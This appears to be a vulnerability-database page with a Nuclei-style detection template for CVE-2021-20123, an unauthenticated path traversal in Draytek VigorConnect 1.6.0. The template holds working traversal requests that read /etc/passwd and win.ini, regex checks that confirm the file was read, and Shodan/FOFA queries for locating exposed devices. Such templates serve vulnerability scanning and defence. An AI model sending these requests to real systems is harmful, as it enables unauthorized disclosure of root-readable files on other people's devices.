Draytek VigorConnect 1.6.0-B - Local File Inclusion
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
 | CVE-2021-20123 | 13 Oct 202100:00 | – | attackerkb |
 | VigorConnect Path Traversal Root Privilege | 9 Oct 202400:00 | – | bdu_fstec |
 | CVE-2021-20123 | 13 Oct 202120:26 | – | circl |
 | Draytek VigorConnect Path Traversal Vulnerability | 3 Sep 202400:00 | – | cisa_kev |
 | CISA Adds Three Known Exploited Vulnerabilities to Catalog | 3 Sep 202412:00 | – | cisa |
 | Draytek VigorConnect path traversal vulnerability | 13 Oct 202100:00 | – | cnnvd |
 | Draytek VigorConnect Local File Inclusion Vulnerability (CNVD-2021-81961) | 14 Oct 202100:00 | – | cnvd |
 | Draytek VigorConnect Directory Traversal (CVE-2021-20123) | 11 Nov 202100:00 | – | checkpoint_advisories |
 | CVE-2021-20123 | 13 Oct 202115:47 | – | cve |
 | CVE-2021-20123 | 13 Oct 202115:47 | – | cvelist |
10
id: CVE-2021-20123
info:
name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
author: 0x_Akoko
severity: high
description: |
Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.
reference:
- https://www.tenable.com/security/research/tra-2021-42
- https://nvd.nist.gov/vuln/detail/CVE-2021-20123
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-20123
cwe-id: CWE-22
epss-score: 0.90234
epss-percentile: 0.99801
cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: draytek
product: vigorconnect
shodan-query:
- http.html:"VigorConnect"
- http.html:"vigorconnect"
fofa-query: body="vigorconnect"
tags: cve2021,cve,draytek,lfi,vigorconnect,tenable,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/octet-stream"
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "for 16-bit app support"
condition: or
- type: status
status:
- 200
# digest: 4b0a00483046022100c968d9b50dc50d9544a3521268c1ddab25017c35702b1a3f379c90d2bd9a4fb602210088f8f67117b67308658d610a37cc1feee7a52a3692d77c50cbe01084571bd6d3:922c64590222798bb761d5b6d8e72950Data
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04 Feb 2026 07:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.17.5
CVSS 27.8
EPSS0.89654
SSVC